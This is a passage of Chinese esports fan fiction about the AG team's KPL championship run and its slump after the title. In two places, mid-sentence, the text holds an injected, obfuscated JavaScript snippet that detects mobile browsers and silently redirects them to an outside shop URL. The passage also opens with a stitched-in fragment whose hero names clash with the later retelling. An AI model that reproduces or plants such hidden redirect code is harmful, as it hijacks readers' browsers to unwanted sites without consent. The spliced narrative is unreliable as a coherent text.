这一局,AG打得毫无章法,但又充满灵性。五个人都在carry,五个人都在牺牲。镜入侵野区时,干将在中路支援。马可转大时,关羽在绕后。太乙开团时,镜在收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028854|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 割。 DYG显然不习惯这种打法——他们习惯了针对一个核心,习惯了打节奏压制。但现在,AG有五个核心,五个节奏点,根本针对不过来。 八分钟,AG经济领先两千。 十二分钟,AG推掉DYG三路外塔。 十五分钟,风暴龙王团。AG五人分散站位,从五个方向切入。DYG的阵型被完全打乱,根本不知道先打谁。 团灭。 一波。 1:2! AG扳回一局! “这才是真正的五核!”Cat在解说席上激动地说,“五个人都是核心,五个人都能carry,五个人都在为团队做贡献!” --- 第四局,DYG调整战术,想要重新找回节奏。 但AG已经打疯了。这一局,他们拿出了更极致的五核阵容:钟意澜,长生不知火舞,徐必成公孙离,轩染马超,大帅张飞。 五个操作怪,五个carry点。 DYG虽然顽强抵抗,但面对五个都能秀操作的选手,还是显得力不从心。 2:2! 比分扳平! “让二追二!”李九的声音已经嘶哑,“在总决赛的舞台上,面对DYG这样的强队,AG完成了让二追二!这就是五核的魅力!” --- 第五局,天王山之战。 双方都拿出了压箱底的东西。DYG选择了他们最擅长的运营体系:清清猪八戒,小义裴擒虎,萧玦沈梦溪,易峥狄仁杰,星宇张飞。 AG则选择了极致的操作阵容:钟意镜,长生上官婉儿,徐必成马可波罗,轩染关羽,大帅鬼谷子。 加载界面,徐必成在语音里说:“最后一局了。不管输赢,打出我们的东西。” “明白!” 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比3:3,经济差始终在五百以内。 导播很懂地把镜头给到徐必成。大屏幕上,他的马可波罗在发育路稳健补刀,但眼睛一直在观察小地图,手指在飞快地点击信号。 他在指挥。 不是用语言,是用信号,用走位,用操作。 十三分钟,暴君团。 决定胜负的一波。 清清的猪八戒闪现开团,大中三人。小义的裴擒虎进场收割。但几乎同时,钟意的镜也开到了DYG的后排。 混战。 徐必成的马可波罗在后方输出。他没有急着转大,而是在等,等DYG的关键技能。 等东皇太一的大招,等张良的大招,等猪八戒的控制。 然后,他动了。 净化秒解猪八戒的控制,闪现拉开距离,反手大招转进DYG人群——但不是冲着C位,是冲着前排。 他在骗技能。 DYG果然上当了。东皇太一大招吸住马可波罗,张良大招按住。但马可波罗有净化,有苍穹,有复活甲——他死不了。 而就在DYG把所有技能都交给马可波罗的时候,AG的其他人动了。 长生的上官婉儿起飞,秒掉易峥的狄仁杰。轩染的关羽绕后,推到三人。钟意的镜进场收割。 完美团战。 AG打出2换5,团灭DYG,拿下暴君,带着兵线推上高地。 DYG顽强抵抗,但终究不敌。 水晶爆炸。 3:2! AG反超比分! “让二追三!”Cat激动地站起来,“AG完成了让二追三!在总决赛0:2落后的绝境下,他们连扳三局,拿到了赛点!” 现场彻底疯狂了。AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。 舞台上,AG五人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅击掌,徐必成红着眼眶,拍着每个人的肩膀。 导播把镜头给到DYG选手席。清清低着头,小义盯着屏幕,萧玦揉着眼睛。 卫冕冠军,被逼到了悬崖边。 --- 第六局,DYG背水一战。 他们拿出了绝活中的绝活:清清关羽,小义镜,萧玦干将莫邪,易峥公孙离,星宇太乙真人。 极致的个人能力阵容,要用操作硬碰硬。 AG这边,徐必成主动要求拿工具人射手——狄仁杰。 “这一局,我不carry。”他说,“我当诱饵。你们四个,放开打。” 阵容确定: AG:狄仁杰(一诺)、不知火舞(长生)、阿古朵(钟意)、张飞(大帅)、马超(轩染) DYG:关羽(清清)、镜(小义)、干将莫邪(萧玦)、公孙离(易峥)、太乙真人(星宇) 加载界面,徐必成闭上眼睛。 再睁开时,眼神平静得像深潭。 游戏开始。 这一局,徐必成的狄仁杰成了DYG的重点照顾对象。清清关羽三级就来抓,小义镜四级越塔,萧玦干将六级大招消耗。 但徐必成没有死。 一次都没有。 他用走位躲开关羽的劈砍,用净化解掉镜的控制,用闪现躲开干将的飞剑。每一次都极限逃生,每一次都让DYG无功而返。 “一诺的走位……”李九惊叹,“简直是在刀尖上跳舞!” 而就在DYG疯狂针对狄仁杰的时候,AG的其他四人打开了。 长生的不知火舞carry了,钟意的阿古朵carry了,轩染的马超carry了,大帅的张飞开团无敌。 十五分钟,风暴龙王团。DYG想要强开狄仁杰,但徐必成的走位太刁钻了,永远卡在技能边缘。DYG开团失败,反被AG抓住机会。 团灭。 一波。 4:2! AG战胜DYG! 夺得2022年KPL春季赛总冠军! --- 现场彻底疯狂了。 彩带从天而降,金色的雨洒满舞台。AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓和陈薇抱在一起,泪流满面。 舞台上,AG五人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅又哭又笑,徐必成红着眼眶,看着漫天飘落的金色雨。 导播把镜头给到解说席。Cat站在那里,眼眶发红,用力鼓掌。 颁奖典礼,银龙杯在舞台中央熠熠生辉。 AG五人走上舞台,站在奖杯前。主持人将话筒递给徐必成:“作为队长,有什么想说的?” 徐必成接过话筒,看着台下黑压压的人群,看着那些哭泣的粉丝,看着身边四个同样年轻的队友。 “这个冠军,不属于我一个人。”他说,“属于长生,属于钟意,属于轩染,属于大帅,属于教练组,属于俱乐部,属于每一个支持AG的人。” 他顿了顿:“这个赛季,很多人说射手已死,说一诺老了,说AG的五核是笑话。但我们用这个冠军证明——没有死的位置,只有死的信念。没有老的选手,只有老的心态。没有笑话的体系,只有不会打的队伍。” 他举起奖杯:“这是AG的第二个冠军,但不会是最后一个。因为我们五个人,就是AG的未来。只要我们还在,AG就永远在。” 全场爆发出山呼海啸般的欢呼。 金色的雨继续飘落。 徐必成抬头看着那些飘落的金片,忽然想起了2019年夺冠的那个夜晚。 那时的他,以为冠军是终点。 现在的他,知道冠军只是起点。 电竞的路还很长。 而他们,才刚刚上路。 涅槃之后,才是真正的重生。 光,才刚刚开始闪耀。 【第十六章·完】 17. 冠军之后 2022年7月,成都AG超玩会基地 蝉鸣在正午时分达到顶峰,像某种持续不断的耳鸣。训练室里空调开得很足,但徐必成还是觉得闷——不是热的,是那种被无数目光注视下的、无处遁形的闷。 夺冠已经过去一个月了,但热度丝毫没有减退。相反,像滚雪球一样越滚越大。 手机在桌面上震动,屏幕亮着微信界面。最新一条是俱乐部商务经理发来的:“一诺,下午三点有个代言拍摄,四点有个杂志专访,晚上七点直播平台年度盛典邀约,你确认一下时间。” 徐必成盯着那行字,手指悬在屏幕上方,很久没动。 夺冠后的这一个月,他每天的日程被切割成无数碎片:商业活动、媒体采访、粉丝见面会、品牌代言、直播合同……训练时间被压缩到只剩原来的一半,甚至三分之一。 “诺哥,还不走?”钟意探过头来,“下午不是有拍摄吗?” “马上。”徐必成关掉手机,站起来活动了一下肩膀。手腕上的疤痕在空调冷风中有些发痒,像在提醒他什么。 走廊里贴满了夺冠的海报。五个人举着银龙杯,笑得灿烂。海报下方印着一行字:“五核时代,由此开启。” 但徐必成知道,开启一个时代,和守住一个时代,是两回事。 --- 同一时间,上海医学院图书馆。 林晓晓盯着笔记本电脑上的论文草稿,标题是《电子竞技冠军战队商业价值转化研究——以AG超玩会为例》。这是她的暑期研究课题,导师很重视,说这是国内电竞产业研究的前沿方向。 但她写得很艰难。 因为数据太刺眼了。 夺冠后一个月,AG俱乐部的商业合作增加了237%,选手个人代言平均增长180%,直播平台签约费翻了三倍。而训练时长呢?下降了41%。 她打开微博,AG超玩会官方号最新一条是品牌代言宣传片。视频里,五个少年穿着精致的西装,在摄影棚里摆着造型,笑容标准得像流水线生产出来的。 评论已经三万条: “AG冠军实至名归!” “一诺好帅!” “商业活动太多了吧,还训练吗?” 最后这条评论被顶到了热评第三,下面吵成一团: “冠军还不能接代言了?” “接代言可以,但别耽误训练啊” “你行你上” 林晓晓关掉微博,打开加密文件夹。里面是她整理的AG夺冠后训练赛数据——胜率从夺冠前的78%下降到52%,配合失误率上升了35%,英雄池扩展进度停滞。 危险信号。 但没人注意。或者说,没人想注意。 冠军的光环太耀眼了,耀眼到足以掩盖所有问题。 手机震动,是陈薇发来的微信:“晓晓,看了AG昨晚的训练赛吗?输给TTG二队了。” 林晓晓心里一沉:“没看,数据怎么样?” “很烂。一诺的狄仁杰0-5-2,输出占比17%。长生不知火舞进场时机全错。钟意野区被反烂。轩染和马超完全脱节。大帅指挥混乱。” 一连串的“烂”字,像冰锥一样扎进心里。 “版本更新了。”陈薇又发来一条,“新版本对中单和打野大削,边路和辅助增强。AG的五核体系,可能要重新调整了。” 林晓晓盯着屏幕,手指冰凉。 冠军魔咒。 这个词像幽灵一样在电竞圈游荡。拿冠军,接代言,商业活动,训练荒废,版本变更,状态下滑,成绩下降——这个循环,几乎所有冠军战队都逃不过。 现在,轮到AG了。 --- 下午三点,成都某摄影棚。 徐必成站在聚光灯下,按照摄影师的指令调整姿势。闪光灯一次次亮起,刺得眼睛发酸。 “一诺,笑一下,自然点。”摄影师说。 徐必成扯了扯嘴角,肌肉僵硬。他想起训练室里那个不需要笑的自己——只需要盯着屏幕,专注操作,和队友沟通。 那才是真实的他。 拍摄间隙,他打开手机,看到长生发来的消息:“诺哥,下午训练赛,我们被TTG二队零封了。” 手指收紧。 “什么阵容?”他打字问。 “我不知火舞,钟意镜,轩染马超,大帅张飞,云黎公孙离。” 云黎。二队射手,在他参加商业活动时顶替他的位置。 “输在哪?” “全队。”长生回复,“版本更新后,中单和打野被削得太狠了。我不知火舞一套连招秒不掉人了,钟意镜进场就被控死。边路和辅助虽然增强了,但我们的战术体系还是围绕中野打,完全脱节。” 徐必成盯着那段话,很久。 “等我回来。”他最后回复,“晚上加练。” 拍摄持续到晚上六点。结束后,商务经理又递过来一份合同:“一诺,这是直播平台的新合约,三年,八位数。你看看,没问题就签了。” 徐必成接过合同,厚厚一叠,像一块砖。他翻到薪资条款,数字确实诱人——足够他在成都买套不错的房子,足够父母提前退休,足够他未来十年衣食无忧。 但他想起Cat退役前说的话:“钱很重要,但有些东西比钱更重要。比如冠军,比如梦想,比如那个在赛场上拼尽全力的自己。” “我能带回去看吗?”他问。 “可以,但最晚明天给答复。”商务经理说,“平台那边催得紧。” 回到基地已经晚上七点半。训练室里灯火通明,其他四人都在。电脑屏幕上显示着训练赛的复盘录像,但没人说话,气氛凝重得像要下雨。 “我回来了。”徐必成说。 四个人同时抬头。钟意的眼睛红着,长生脸色苍白,轩染咬着嘴唇,大帅低着头。 “输得很惨?”徐必成走过去。 “不是惨。”长生说,“是绝望。新版本我们的体系完全玩不了了。中单和打野废了,边路和辅助虽然强,但我们不会玩。” 徐必成拉开椅子坐下,打开电脑,调出今天的训练赛录像。 第一局,长生不知火舞进场秒不掉人,反被集火秒杀。钟意镜被控到死,毫无作用。轩染马超虽然操作拉满,但独木难支。 0:1。 第二局,AG尝试调整,拿出边核体系,围绕轩染打。但配合生疏,支援脱节,再次落败。 0:2。 第三局,心态崩了,操作变形,被碾压。 0:3。 徐必成一局一局看,一帧一帧暂停。越看,心越沉。 不是技术问题,不是意识问题,是版本问题,是体系问题,是——他们引以为傲的五核体系,被版本一刀砍废了。 “教练怎么说?”他问。 “教练在开会。”大帅说,“版本更新太突然了,所有战队都在重新研究战术。但我们……我们刚夺冠,商业活动太多,训练时间太少,已经落后了。” 训练室里一片沉默,只有空调运转的嗡嗡声。 窗外,成都的夜色温柔,霓虹闪烁。这座城市的某个角落里,其他战队的训练室也亮着灯,那些没有夺冠的队伍,那些渴望复仇的队伍,正在拼命研究新版本,拼命训练。 而他们呢? 在摄影棚里摆造型,在直播间里和粉丝互动,在签约仪式上微笑。 徐必成站起来,走到白板前,拿起马克笔。 “从现在开始,所有商业活动暂停。”他说,“我会去和俱乐部说。接下来的一个月,我们只做一件事——研究新版本,重建新体系。” “可是合同……”钟意小声说。 “违约金我来付。”徐必成说得很平静,“冠军是我们拿的,责任我来扛。” 四个少年看着他,眼神从迷茫慢慢变得坚定。 --- 深夜十一点,俱乐部总经理办公室。 菲菲看着徐必成递过来的申请,眉头紧锁。 “一诺,你知道暂停所有商业活动意味着什么吗?” “知道。”徐必成说,“意味着俱乐部损失几千万收入,意味着我会赔很多违约金,意味着我们会得罪很多合作方。” “那你为什么还要这么做?” “因为。”徐必成看着窗外,“如果我们继续这样下去,下一个赛季,我们会输得很惨。到时候,失去的就不只是几千万,是AG的荣耀,是我们的职业生涯,是所有粉丝的信任。” 菲菲沉默了很久,最后叹了口气:“你说得对。但俱乐部有俱乐部的压力,股东有股东的要求……” “菲姐。”徐必成打断她,“你还记得2018年AG降级的时候吗?那时候AG什么都没有了,没有赞助,没有粉丝,没有希望。是你带着我们一点一点打回来的。那时候我们在乎的是钱吗?不是,是赢,是回来,是证明AG没有死。” 他顿了顿:“现在,AG又到了一个关键节点。冠军拿到了,钱赚到了,名气有了。但我们忘了,这一切的基础是什么?是赢比赛。如果我们输比赛了,这一切都会消失。” 菲菲盯着他,眼眶有些红。 “好。”她最终点头,“商业活动暂停一个月。但一个月后,如果你们的新体系还没建起来……” “那就继续暂停。”徐必成说,“直到建起来为止。” 离开办公室,徐必成收到Cat的消息:“听说你暂停了所有商业活动?” “嗯。版本变了,我们需要时间。” “明智的选择。”Cat说,“但你要做好准备,接下来你会面临很大的压力。股东,赞助商,甚至一部分粉丝,都会不理解你。” “我知道。” “还有一件事。”Cat顿了顿,“新版本我研究了,对你们确实不友好。但也不是没有出路。” “什么出路?” “彻底转型。”Cat说,“不是小修小补,是彻底重建战术体系。放弃中野核心,建立边辅核心。让轩染和大帅成为战术支点,你和长生当工具人,钟意当蓝领野。” 徐必成盯着那段话,脑海里快速思考。 边辅核心? 轩染的边路确实很强,大帅的指挥和开团也很出色。如果围绕他们建队,确实能适应新版本。 但这就意味着,他和长生要彻底放弃carry位,成为纯粹的团队贡献者。 “我和长生聊过了,他没问题。”Cat似乎猜到了他的想法,“现在就看你了。你能不能接受,从团队的carry核心,变成团队的牺牲品?” 徐必成笑了。 “Cat哥,你忘了,这个赛季我一直是工具人射手。对我来说,carry还是牺牲不重要,赢才重要。” “好。”Cat说,“那接下来一个月,我会帮你们研究战术。免费的。” “为什么?” “因为。”Cat发了个笑脸,“我想看看,你们能走到哪一步。” --- 接下来的一个月,AG基地变成了封闭的军事禁区。 所有商业活动暂停,所有媒体采访拒绝,所有社交账号停更。训练室里的灯从早上六点亮到凌晨两点,外卖盒堆成小山,咖啡消耗量是平时的三倍。 徐必成把Cat请到了基地。这个已经退役的传奇选手,穿着便服,坐在战术分析室里,和教练组一起研究新版本。 “新版本的关键在边路和辅助。”Cat在白板上画着,“对抗路英雄全面增强,尤其是那些带线能力强、单挑能力强的战边。辅助装备加强,开团型辅助成为版本答案。” 他指着轩染和大帅的照片:“你们有联盟最顶级的边路和辅助,这是优势。但问题在于,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028855|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的战术习惯还是围绕中野打。要改变这一点,需要彻底重塑思维。” “怎么重塑?”Awoke问。 “从训练赛开始。”Cat说,“接下来所有的训练赛,制定三条铁律:第一,所有资源优先给边路;第二,所有团战围绕辅助的开团打;第三,中野射只做两件事——清线和跟团。” 听起来很简单,但执行起来极其困难。 第一天训练赛,AG输得更惨。 因为习惯改不过来。长生还是会下意识地想carry,钟意还是会习惯性地入侵野区,徐必成还是会不自觉地想打输出。而轩染和大帅,突然被推到核心位置,反而不会打了。 “停。”Cat叫停训练赛,“复盘。” 五个人围在屏幕前,Cat一帧一帧地分析。 “这里,长生,你为什么要去抓边?你的任务是清完线跟团,不是带节奏。” “这里,钟意,你为什么要反野?你的任务是保住自家野区,给边路让经济。” “这里,一诺,你为什么要输出?你的任务是吸引火力,给边路创造进场空间。” 句句诛心。 但没人反驳,因为Cat说得对。 “记住,你们不是五核了。”Cat看着他们,“你们是双核带三工具人。轩染和大帅是核心,你们三个是工具人。工具人要做的,不是carry,是服务核心。” 第二天,第三天,第四天…… 每一天都在输,每一天都在被骂,每一天都在怀疑自己。 但每一天,都在进步。 第七天,他们赢下了第一场训练赛。 虽然赢得很艰难,虽然数据很难看,虽然carry的是轩染和大帅——但赢了。 “看到了吗?”Cat在复盘时说,“这就是新体系。虽然丑陋,虽然不华丽,但能赢。” 徐必成盯着屏幕上的数据面板。他的狄仁杰:输出占比15.2%,承伤28.7%,参团率70%——比之前更工具了。 但他笑了。 因为赢了。 --- 两周后,AG对阵武汉eStarPro的训练赛。 这是封闭训练后的第一次对外训练赛,对手是Cat的老东家,也是这个赛季的夺冠热门。 赛前,Estar的教练在微信上调侃Cat:“老猫,听说你在帮AG研究新战术?泄密啊这是。” Cat回复:“放心,不会用你们Estar的战术。AG的新战术,你们绝对没见过。” 比赛开始。 AG拿出了让所有人都看不懂的阵容:轩染关羽,大帅鬼谷子,长生张良,钟意阿古朵,徐必成狄仁杰。 极致的边辅核心阵容。 Estar显然没看懂,BP有些混乱。游戏开始后,AG的战术执行让Estar更懵——关羽和鬼谷子无处不在,张良和阿古朵形影不离,狄仁杰在塔下稳健补刀。 八分钟,关羽单带掉上路二塔。鬼谷子闪现开团,拉到三人。张良大招按住,阿古朵跟上控制,狄仁杰在后排输出。 完美团战。 十二分钟,经济领先三千。 十五分钟,风暴龙王团,Estar想要绝命一波,但关羽绕后进场,一刀劈中三人。鬼谷子二次开团,拉到双C。 团灭。 一波。 AG赢了。 训练赛结束后,Estar的教练给Cat发消息:“你们这什么鬼战术?边路当核打?” Cat回复:“版本答案。建议你们也研究研究。” --- 封闭训练的最后一天,晚上十点。 训练室里,五个人围在一起,看这一个月所有训练赛的复盘总结。 胜率:从52%上升到78%。 配合失误率:从35%下降到12%。 英雄池扩展:轩染新增三个战边英雄熟练度,大帅新增两个开团辅助熟练度,长生和钟意新增四个工具人英雄熟练度,徐必成新增三个抗压射手熟练度。 “进步很大。”Cat说,“但还不够。训练赛赢,不代表正式比赛能赢。正式比赛的压力,是训练赛的十倍。” 他顿了顿:“而且,你们的新战术已经被其他战队知道了。接下来,他们会研究你们,针对你们。你们要做好准备。” “我们准备好了。”徐必成说。 “真的准备好了?”Cat看着他们,“准备好被研究,准备好被针对,准备好输比赛,准备好被骂?” 五个人对视一眼,然后同时点头。 “好。”Cat站起来,“那我的任务完成了。接下来,看你们的了。” 他走到门口,又回头:“记住,冠军魔咒不是诅咒,是考验。能通过考验的,才是真正的冠军。” 门关上了。 训练室里,五个少年沉默了一会儿。 然后徐必成说:“明天,夏季赛开赛。我们的第一个对手,是重庆狼队。” “狼队……”长生推了推眼镜,“他们这个赛季补强了边路和辅助,正好克制我们的新体系。” “所以第一场就是硬仗。”徐必成说,“赢,证明我们的转型成功。输,证明我们还需要继续努力。” “那商业活动……”钟意小声问。 “继续暂停。”徐必成说,“直到我们重新证明自己。” 窗外,成都的夜色深沉。 但训练室里,灯火通明。 五个少年,为了守住冠军的荣耀,为了证明自己的价值,为了不辜负所有人的期待—— 继续战斗。 冠军之后,不是终点。 是新的起点。 是更艰难的路。 是涅槃之后,真正的考验。 他们,准备好了。 【第十七章·完】 18. 新生的阵痛 2022年7月,重庆奥林匹克体育中心 山城的夏天闷热得像蒸笼,即使场馆内冷气开得十足,徐必成还是能感觉到队服后背被汗水浸湿的黏腻感。不是热的,是紧张的——那种久违的、像有无数只蚂蚁在脊椎上爬的紧张。 他坐在选手席上,调试设备。右手腕上的疤痕在灯光下泛着淡粉色的光泽,已经完全愈合了,但每次在赛前准备时,他还是会下意识地活动一下关节,像是在确认什么。 “诺哥,手没事吧?”长生在旁边小声问。 “没事。”徐必成说,但声音有点紧。 怎么可能没事。 一个月前,他们是冠军,是五核体系的创造者,是联盟战术的风向标。一个月后,他们是试验品,是转型阵痛的承受者,是无数双眼睛盯着准备看笑话的对象。 夏季赛首战,AG超玩会对阵重庆狼队。 狼队的主场。 导播把镜头给到观众席。狼队的红色海洋几乎淹没了整个场馆,偶尔能看到几块AG的黑红色应援牌,像红色海洋中几座孤零零的岛屿。 林晓晓和陈薇就坐在那片“孤岛”上。她们提前两天飞到重庆,买了最前排的票。手里举着连夜赶制的应援牌——不是为某个人,是为整个团队:“AG,相信你们。” 但相信,能抵消实力差距吗? 林晓晓打开手机,看到赛前预测投票:78%的人认为狼队会赢,只有22%的人支持AG。 理由很充分:狼队夏季赛补强了边路和辅助,正好克制AG的新边辅核心体系。而且狼队没有夺冠,没有商业活动的干扰,一个休赛期都在疯狂训练。而AG呢?夺冠后商业活动缠身,训练时间被严重压缩,虽然紧急封闭训练了一个月,但效果如何,谁也不知道。 “晓晓,你紧张吗?”陈薇问。 “嗯。”林晓晓点头,“比我自己考试还紧张。” 舞台上,BP开始了。 --- 狼队蓝色方。 教练黎落站在选手席后方,手里拿着战术板。他是联盟最擅长研究对手的教练之一,以针对性强、BP狠辣著称。 “禁公孙离和孙尚香。”黎落说,“针对一诺。” 狼队前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。 “一楼拿关羽。”黎落说,“逼他们拿马超。” 狼队锁定关羽。AG毫不犹豫地锁定了马超——轩染的招牌英雄,也是新体系的核心之一。 “他们在赌。”黎落对Fly说,“赌轩染的马超能带起节奏。” “那我们……” “拿张良和东皇。”黎落说,“双强控,专治花里胡哨。” 狼队二楼三楼锁定了张良和东皇太一。现场一片哗然——这套阵容太熟悉了,是上个赛季DYG用来克制AG的,现在狼队也拿出来了。 AG这边,教练Awoke看向Cat——这个已经退役的传奇选手,现在以战术顾问的身份坐在教练席。 “按计划吗?”Awoke问。 Cat点头:“按计划。” AG三四楼选择了徐必成的狄仁杰和钟意的阿古朵。 狼队最后两手锁定了妖刀的虞姬和向鱼的沈梦溪。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:马超(轩染)、狄仁杰(一诺)、阿古朵(钟意)、鬼谷子(大帅)、不知火舞(长生) 狼队:关羽(Fly)、张良(向鱼)、虞姬(妖刀)、东皇太一(帆帆)、裴擒虎(小胖) 加载界面,徐必成深吸一口气。 “记住训练赛的战术。”他在语音里说,“围绕轩染打,大帅开团,钟意控野,长生切后,我抗压。” “明白。” 游戏开始。 开局,Fly的关羽打得极其凶悍。一级就进野区骚扰,二级就想单杀。轩染的马超虽然也是战边,但在关羽面前,前期还是劣势。 “需要帮忙吗?”钟意问。 “不用。”轩染说,“我能稳住。” 但稳住是不够的。战边对决,稳住就等于输。你必须压制,必须carry,必须打出优势。 四分钟,暴君刷新,双方在龙坑集结。 第一波团战,决定前期节奏。 Fly的关羽在侧翼寻找机会。轩染的马超在后方蓄力。两人都在等,等对方先动。 然后,轩染动了。 马超开启疾跑,大招召唤冷晖枪,直冲Fly的关羽!Fly显然没料到轩染敢先手,稍微愣了一下,就是这一愣—— 马超的枪到了。 戳,收,戳,收——行云流水的连招,每一枪都打在关羽身上。Fly想要反打,但轩染的走位极其刁钻,总是卡在关羽一技能的边缘。 单杀! “First Blood!” 马超单杀关羽! “轩染!”解说李九惊呼,“他做到了!在Fly面前,用马超单杀了Fly!” 现场狼队粉丝一片哗然,AG粉丝区爆发出巨大的欢呼。 但徐必成没有放松警惕。因为他知道,狼队的战术核心不是边路,是中野辅联动。 果然,下一秒—— 向鱼的张良闪现开团,大中轩染的马超!帆帆的东皇太一跟上大招,小胖的裴擒虎进场收割。 马超阵亡。 刚刚单杀建立的优势,瞬间化为乌有。 “我的。”轩染说。 “没事。”徐必成很冷静,“继续打。” 但接下来的比赛,AG处处被动。狼队的中野辅联动太强了,每次AG想做事,都会被反蹲。每次团战,AG都会被强开。 十五分钟,经济差拉到五千。 “守不住了。”大帅说。 “能守。”徐必成的狄仁杰在塔下清兵,“拖后期,我们能翻。” 但狼队显然不打算给机会。二十分钟,狼队带着风暴龙王上高地。Fly的关羽绕后开团,推到三人。妖刀的虞姬跟上输出,拿下三杀。 团灭。 水晶爆炸。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛凝重得能拧出水来。 “他们的中野辅联动太强了。”钟意说,“我根本动不了。” “Fly关羽的支援速度比我们预想的还要快。”轩染说。 “我的问题。”徐必成说,“我没能稳住下路。” “不,是战术问题。”Cat站在白板前,表情严肃,“我们的战术是边辅核心,但执行得不够彻底。轩染单杀关羽后,你们为什么要去支援?应该让他继续带线,牵制Fly。你们四个抱团,打另一条路。” 他在白板上快速画着:“第二局,我们要更极端。轩染,你选一个带线能力更强的英雄——老夫子或者芈月。你就带线,从头带到尾,不要管团战。其他人四打五,拖住就行。” “四打五能拖住吗?”长生问。 “能。”Cat说,“只要你们不想赢,只想拖。清线,守塔,不打团,不进攻。拖到轩染带穿一路,拖到经济反超,拖到他们心态崩掉。” 听起来很冒险。 但AG现在,只能冒险。 --- 第二局BP开始。 AG蓝色方,一楼锁定了老夫子——极致的单带英雄。 狼队显然没料到,BP有些犹豫。他们在二三楼选择了Fly的关羽和向鱼的西施。 AG三四楼选择了徐必成的马可波罗和钟意的阿古朵。 狼队最后两手锁定了妖刀的公孙离和帆帆的张飞。 AG五楼,大帅拿出了庄周——解控,保命,极致防守。 阵容确定: AG:老夫子(轩染)、马可波罗(一诺)、阿古朵(钟意)、庄周(大帅)、不知火舞(长生) 狼队:关羽(Fly)、西施(向鱼)、公孙离(妖刀)、张飞(帆帆)、裴擒虎(小胖) 加载界面,徐必成在语音里说:“记住Cat说的。轩染,你就带线,不要管我们。我们四个,就一个字——拖。” “明白。” 游戏开始。 这一局,AG打得极其猥琐。老夫子在上路带线,其他四人抱团守塔。不清线,只补塔刀。不进攻,只防守。不开团,只拉扯。 狼队显然不习惯这种打法。他们习惯了进攻,习惯了压制,习惯了打团。但现在,AG像一块牛皮糖,黏在塔下,怎么打都打不死。 八分钟,老夫子推掉了上路二塔。 十分钟,老夫子推掉了上路高地。 十二分钟,老夫子带着兵线,准备推水晶。 狼队被迫回防,AG其他四人趁机推掉了中路一塔。 “这就是带线牵制!”Cat在后台激动地说,“四一分带,经典战术,但执行得如此坚决,如此极端!” 但狼队毕竟是顶级强队。他们调整很快,Fly的关羽开始单防老夫子,向鱼的西施开始游走抓单。 十五分钟,轩染的老夫子被抓死三次,带线节奏被打断。 而AG其他四人,在四打五的团战中,渐渐支撑不住。 二十分钟,风暴龙王团。狼队强开,AG被迫接团。虽然徐必成的马可波罗极限操作,拿下双杀,但终究寡不敌众。 团灭。 一波。 0:2。 AG落后两局。 --- 现场,狼队粉丝的欢呼声震耳欲聋。 AG粉丝区一片死寂。林晓晓紧紧握着陈薇的手,手心全是汗。 “还有机会吗?”她问,声音有些颤抖。 “有。”陈薇说,但声音里没什么底气。 让二追三,在狼队的主场,在夏季赛首战——这太难了。 舞台上,徐必成摘下耳机。 他看着屏幕上“失败”二字,看着手腕上那道疤痕,看着台下那些沉默的粉丝。 然后,他笑了。 不是苦笑,是真的笑。 因为他现在知道,该做什么了。 “第三局,我们换回来。”他在语音里说。 “换回什么?”钟意问。 “换回我们最熟悉的。”徐必成说,“不玩边辅核心了,不玩四一分带了。我们就玩我们最擅长的——五核。” “可是版本……”长生想说版本对五核不友好。 “版本重要,但赢比赛更重要。”徐必成说,“我们现在0:2落后,再输一局就没了。与其死在不熟悉的战术里,不如死在最熟悉的打法上。” 教练Awoke看向Cat,Cat点头:“让他打。” --- 第三局BP开始。 AG蓝色方,一楼锁定了镜——钟意最自信的英雄。 狼队反手拿出了东皇太一和张良——还是强控阵容。 但AG接下来的选择让所有人都看不懂了。 二楼:不知火舞——长生 三楼:公孙离——徐必成 四楼:关羽——轩染 五楼:张飞——大帅 “这是什么阵容?”解说琪琪疑惑,“镜、不知火舞、公孙离、关羽、张飞——五个都能carry的英雄,但谁才是真核?” 狼队显然也没看懂。他们在四楼五楼犹豫了很久,最后拿出了Fly的吕布和小胖的澜。 阵容确定: AG:镜(钟意)、不知火舞(长生)、公孙离(一诺)、关羽(轩染)、张飞(大帅) 狼队:澜(小胖)、弈星(向鱼)、虞姬(妖刀)、东皇太一(帆帆)、吕布(Fly) 加载界面,徐必成在语音里说:“这一局,没有核心。或者说,每个人都是核心。抓到机会就上,不要犹豫。” “明白!” 游戏开始。 这一局,AG打得毫无章法,但又充满灵性。五个人都在carry,五个人都在牺牲。镜入侵野区时,不知火舞在中路支援。公孙离转大时,关羽在绕后。张飞开团时,镜在收割。 狼队显然不习惯这种打法——他们习惯了针对一个核心,习惯了打节奏压制。但现在,AG有五个核心,五个节奏点,根本针对不过来。 八分钟,AG经济领先两千。 十二分钟,AG推掉狼队三路外塔。 